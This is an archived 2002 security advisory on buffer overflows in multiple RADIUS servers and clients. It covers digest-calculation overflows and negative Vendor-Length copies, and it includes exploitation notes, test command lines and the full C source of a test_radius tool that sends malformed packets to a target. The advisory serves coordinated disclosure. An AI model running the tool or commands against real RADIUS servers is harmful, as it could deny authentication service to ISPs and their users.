SECURITY.NNOV: few vulnerabilities in multiple RADIUS implementations

From: 3APA3A (3APA3Aat_private)
Date: Tue Mar 05 2002 - 00:39:35 PST

  • Next message: Graham, Brian: "RE: PCFriendly DVD Backchannel"

    Topic                   : Vulnerabilities in multiple RADIUS clients and
                              servers
    Author                  : 3APA3A <3APA3Aat_private>
    Released                : December, 18 2001
    Public release          : March, 04 2002
    Affected Software       : Cistron <= 1.6.4 (1)(2)
                              Cistron 1.6.5 (2)
                              XtRadius <= 1.1-pre1 (1)(2)
                              FreeRADIUS <= 0.3 (1)(2)
                              ICRadius <= 0.18.1 (1)(2)
                              YARD Radius <= 1.0.19 (1)(2**)
                              Lucent/Livingston RADIUS <= 2.1 (1)(2?)
                              Ascend RADIUS <= 1.16 (1)
                              Merit RADIUS <= 3.6B2 (1*)
                              GNU Radius <= 0.95 (1)
                              radiusclient <= 0.3.1 (1)
    Not affected            : FreeRADIUS 0.4
                              Microsoft IAS (according to vendor)
                              All CISCO products (according to vendor)
                              WindNet RADIUS 1.1 (according to vendor)
    Risk                    : Medium to High
    Remote                  : Yes
    Exploitable             : Yes
    SECURITY.NNOV advisories: http://www.security.nnov.ru/advisories
    FreeRADIUS project      : http://www.freeradius.org
    Acknowledgments:        : Thanks to Alan DeKok for FreeRADIUS project
                              Thanks to CERT for coordination with vendors
    
    * - vulnerability presents but is not exploitable
    ** - vulnerability in USR-specific attributes
    ? - vendor reports not-vulnerable.
    
    Overview:
    
    Remote  Authentication  Dial  In User Service (RADIUS) is widely used by
    ISPs  for  authentication of users and accounting. RADIUS server usually
    performs authentication and accounting for RADIUS clients (also known as
    Network  Access  Server  -  NAS). Almost any modern hardware or software
    access  server  can  act  as  RADIUS  client.
    
    During  internal  audit of FreeRADIUS [1] project before 0.4 release few
    bugs  were  fixed  in  code inherited from older RADIUS implementations.
    Since  almost  any current implementation of RADIUS servers and multiple
    RADIUS  clients has code derived from Merit or Livingston these bugs may
    still  present  in  different  software. Both RADIUS servers and clients
    (access servers) are vulnerable.
    
    Description:
    
     (1) Multiple  implementations  of the RADIUS protocol contain a Digest
         Calculation buffer overflow
    
         To  validate  few  types of RADIUS packets RADIUS calculates packet
         digest. Digest calculated as MD5 hash from packet concatenated with
         message  authenticator  and  shared  secret.  The  problem is, that
         during  concatenation multiple RADIUS implementations fail to check
         target  buffer  has  enough space. It makes it possible to overflow
         buffer  with  shared  secret  data. This bug presents in all RADIUS
         implementations derived from Merit/Ascend.
    
         RADIUS  client is vulnerable during parsing of Server reply. Server
         is  vulnerable  during  parsing  of  Accounting  packets and during
         packet  proxing.  In  most  cases  it will cause DoS against RADIUS
         server. In few cases discussed later it may result code execution.
    
         Function, where overflow occurs may have different names:
    
          response_match(): Merit
          calc_digest()/calc_acctdigest(): Livingston, Cistron and derived
          rc_check_reply(): radclient
          rad_proxy()/calc_acctreq()/build_packet(): yardradius
    
         Vulnerable piece of code looks like:
    
          memcpy(buffer+len, secret, secretlen);
    
    
     (2) Multiple  implementations of the RADIUS protocol do not adequately
         validate the Vendor-Specific attribute Vendor-Length.
    
         Vendor-Specific  attribute  is  a  subset  of  sub-attributes. Each
         sub-attribute usually has 2 bytes header (first byte is Vendor-Type
         and  second  byte  is  Vendor-Length), except USRobotics attributes
         where  header  is 4 bytes. Vendor-Length should be greater or equal
         to header length.
    
         The  problem  is that multiple RADIUS implementations fail to check
         Vendor-Length    than   calculating   amount   of   data   inside
         Vendor-Specific sub-attribute. If Vendor-Length is 0 data size will
         be calculated as negative number.
    
         Later  memcpy  is  called  with  this  number to copy data. In most
         systems  result  of  this  attack  will  be  DoS against RADIUS (if
         memcpy() implementation is not completely flawed).
    
         In   most   RADIUS   servers  vulnerable  function is rad_recv() or
         radrecv().
         Vulnerable piece of code looks like
         {
            ptr += 4;
            vendorlen = attrlen - 4;
            attribute = *ptr++ | (vendorcode << 16);
            attrlen   = *ptr++;
            attrlen -= 2;
            length -= 6;
         }
    
         Some  implementation has the same bug in processing of USR-specific
         attributes (and other non-standard Vendor-Specific attributes).
    
         This bug can be exploited with any type of RADIUS packet.
         
    Exploitation:
    
     To  exploit  this vulnerabilities against RADIUS server attacker should
     be  able to send RADIUS packets from IP of registered NAS. Since RADIUS
     uses  UDP  as transport layer it's easy to spoof NAS' IP address. Since
     both  bugs  occurs  before  packet  is validated no knowledge of shared
     secret required.
    
     To  exploit  this  vulnerability  against  RADIUS client (NAS) attacker
     should guess client's UDP port. In many cases this port is predictable.
    
     Attached  test_radius  tool  may  help  you  to reproduce situation (it
     doesn't  spoof IP, so then testing against RADIUS server IP of the host
     you  running  this tool should be registered as valid NAS). test_radius
     may also be obtained from
     http://www.security.nnov.ru/files/test_radius.c
    
     For  (1)  buffer overflowed by shared secret which (in general case) is
     not  known  to attacker. Attacker is not able to control this data, but
     he  is able to control length of the data. It makes it possible to make
     1-byte  or  2-bytes  buffer overflow. In this case if last symbol(s) of
     shared  secret  is  in appropriate range it may be possible to use this
     overflow  for  code execution in few implementation. Sometimes it looks
     possible  to  exploit  it  blindly,  for  example this is definition of
     buffer in one of RADIUS implementations:
    
                static int       i_recv_buffer[RAD_BUFFER_SIZE];
                static u_char    *recv_buffer = (u_char *)i_recv_buffer;
    
     Receiving function works with recv_buffer.
     Theoretically it's possible to write to any memory location in 3 steps:
      1.  We  do 1-byte overflow to change last byte of recv_buffer to point
      to middle of i_recv_buffer (it will happen only if last byte of shared
      secret is higher then lowest byte of i_recv_buffer address).
      2.  Now  we  can overwrite recv_buffer with data controlled by us with
      second packet.
      3.  Now  data  of  the  third  packet  will  be written to location we
      choose.
     Of  cause exploitation is only possible if all 3 packets are handled in
     the  same  thread (I didn't checked the code but probably it's true). I
     bet   probability   of   successful  exploitation  is  not  high,  but
     may be positive.
    
    
     to reproduce this problem you may use something like
    
        test_radius RADIUS_SERVER 1 100 MAX_PACKET_SIZE 10 1646 4
    
     where RADIUS_SERVER is ip of your RADIUS host
     MAX_PACKET is compiled maximum packet size, you can try different:
     1024, 2048, 4096, 8192, etc
     (this command will send radius accounting packet of MAX_PACKET_SIZE)
    
     (2) can be tested with
    
      test_radius RADIUS_SERVER 11 20 311 0
    
     (malformed Microsoft MS-CHAP-Challenge packet)
    
     or
    
      test_radius RADIUS_SERVER 1 100 9 0
    
     (malformed CISCO Cisco-AVPair packet)
     
     test_radius  may  also  be used as a stress-testing tool against memory
     exhaustion problem described in [2].
    
      test_radius RADIUS_SERVER 1 2 MAX_PACKET_SIZE 100000
     
    
    References:
    
    [1] http://www.freeradius.org
    [2] http://online.securityfocus.com/archive/1/239784
    
    
    ------------------ begin test_radius.c -----------------
    /*
     * Copyright (c) 2000-2001 3APA3A
     *
     * $Id: test_radius.c,v 1.1.2.3 2001/09/28 17:25:05 vlad Exp $
     */
    
    
    #include <stdio.h>
    #include <string.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    
    #define AUTH_VECTOR_LEN         16
    #define MAX_STRING_LEN          254
    #define PW_AUTH_UDP_PORT        1645
    #define PW_AUTHENTICATION_REQUEST 1
    #define PW_VENDOR_SPECIFIC      26
    #define VENDORPEC_USR           429
    
    typedef unsigned int uint32_t;
    typedef unsigned short uint16_t;
    typedef unsigned char uint8_t;
    
    /*
     *      Return an IP address from
     *      one supplied in standard dot notation.
     */
    uint32_t ip_addr(const char *ip_str)
    {
            struct in_addr  in;
    
            if (inet_aton(ip_str, &in) == 0)
                    return INADDR_NONE;
            return in.s_addr;
    }
    
    
    /*
     *      Return an IP address in from a host
     *      name or address in dot notation.
     */
    uint32_t ip_getaddr(const char *host)
    {
            struct hostent  *hp;
            uint32_t         a;
    
            if ((a = ip_addr(host)) != INADDR_NONE)
                    return a;
    
            if ((hp = gethostbyname(host)) == NULL)
                    return (uint32_t) INADDR_NONE;
    
            /*
             *      Paranoia from a Bind vulnerability.  An attacker
             *      can manipulate DNS entries to change the length of the
             *      address.  If the length isn't 4, something's wrong.
             */
            if (hp->h_length != sizeof(uint32_t)) {
                    return (uint32_t) INADDR_NONE;
            }
    
            memcpy(&a, hp->h_addr, sizeof(uint32_t));
            return a;
    }
    
    
    static int getport(const char *name)
    {
            struct  servent         *svp;
    
            svp = getservbyname (name, "udp");
            if (!svp) {
                    return 0;
            }
    
            return ntohs(svp->s_port);
    }
    
    
    
    typedef struct radius_packet_t {
      uint8_t       code;
      uint8_t       id;
      uint16_t      length;
      uint8_t       vector[AUTH_VECTOR_LEN];
      uint8_t       data[4076];
    } radius_packet_t;
              
    
    
    char buf[256];
    
    
    int radius_send(char* radius, int ntimes, int attr, int size, int attlen, int port, int type)
    {
            int res=0;
            int sockfd;
            int total_length;
            unsigned dst_ipaddr;
            struct  sockaddr_in     saremote;
            struct  sockaddr_in     *sa;    
            radius_packet_t packet;
            int                     i;
            int                     len;
    
            memset(&packet, 0, sizeof(packet));
    
            if (!type) type = PW_AUTHENTICATION_REQUEST;
            if (!port) port = getport("radius");
            if (port == 0) port = PW_AUTH_UDP_PORT;
            if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
                    return 1;
            }
            packet.code = type;
            packet.id=0;
    
            total_length = 0;
    
            total_length+=(4+AUTH_VECTOR_LEN);
            memset(packet.vector, 0, AUTH_VECTOR_LEN);
            
            dst_ipaddr = ip_getaddr(radius);
    
            sa = (struct sockaddr_in *) &saremote;
            memset ((char *) sa, '\0', sizeof (saremote));
            sa->sin_family = AF_INET;
            sa->sin_addr.s_addr = dst_ipaddr;
            sa->sin_port = htons(port);
            
            if(ntimes) {
                    for (len=0, size-=total_length, i=0; size > 0; size-=len, i+=len){
                     len = (size > attlen)? attlen:size;
                     if(len < 2) break;
                     packet.data[i]=attr;
                     packet.data[i+1]=len;
                     if(len > 2) memset(packet.data + i + 2, 'A', len - 2);
                    }
            }
            else {
                    i=0;
                    packet.data[i++] = PW_VENDOR_SPECIFIC;
                    packet.data[i++] = attlen;
                    *((long*)(packet.data + i)) = htonl(size);
                    i+=4;
                    if (size == VENDORPEC_USR){
                     *((short *)(packet.data + i)) = htons(attr);
                     i+=2;
                     packet.data[i++] = 1;
                    }
                    else {
                     packet.data[i++] = attr;
                     packet.data[i++] = 1;
                     packet.data[i++] = 'A';
                    }
                    if(attlen > 9){
                            memset(packet.data+i, 'A', attlen-9);
                            i=attlen;
                    }
                    ntimes = 1;
            }               
    
            total_length+=i;
            packet.length = htons(total_length);
    
            for (i=0; i<ntimes; i++){
                    res = sendto(sockfd, &packet, total_length, 0,
                          (struct sockaddr *)&saremote, sizeof(struct sockaddr_in));
                    if(res != total_length){
                            fprintf(stderr, "sendto() failed\n");
                            return 2;
                    }
                    packet.id++;
            }
            return 0;
    }
    
    
    
    int main(int argc, char*argv[]){
    
      int attr;
      int ntries;
      int attlen;
      int packlen;
      int port=0;
      int type=0;
    
      if (argc <6 || (attr = atoi(argv[2])) < 1 || 
            (attlen = atoi(argv[3])) < 2 || (packlen = atoi(argv[4])) < 20 ||
            (ntries = atoi(argv[5])) < 0) {
                    printf ("Usage : %s server attribute attribute_length packet_length count [port] [type]\n"
                            "       server - ip address of target server (you must be listed as NAS\n"
                            "                for this server because this code doesn't spoof IP)\n"
                            "       attribute - attribute type code, > 0\n"
                            "       attribute_length - length of attribute, must be between 1 and 255\n"
                            "       packet_length - length of packet, >20\n"
                            "       count - number of packets to send. If count = 0 single malformed\n"
                            "               Vendor-Specific is sent with Vendor-Code of packet_length\n"
                            "               and  Vendor-Type of attribute\n"
                            "       port - target UDP port\n"
                            "       type - type of RADIUS request. Authentication Request by default\n", 
                           argv[0]);
                    return 1;
      }
      if (argc >= 7) port = atoi(argv[6]);
      if (argc >= 8) type = atoi(argv[7]);
      return radius_send( argv[1], ntries, attr, packlen, attlen, port, type);
    }
    ------------------  end test_radius.c  -----------------
    
    -- 
    http://www.security.nnov.ru
             /\_/\
            { , . }     |\
    +--oQQo->{ ^ }<-----+ \
    |  ZARAZA  U  3APA3A   }
    +-------------o66o--+ /
                        |/
    You know my name - look up my number (The Beatles)
    



    This archive was generated by hypermail 2b30 : Tue Mar 05 2002 - 17:54:33 PST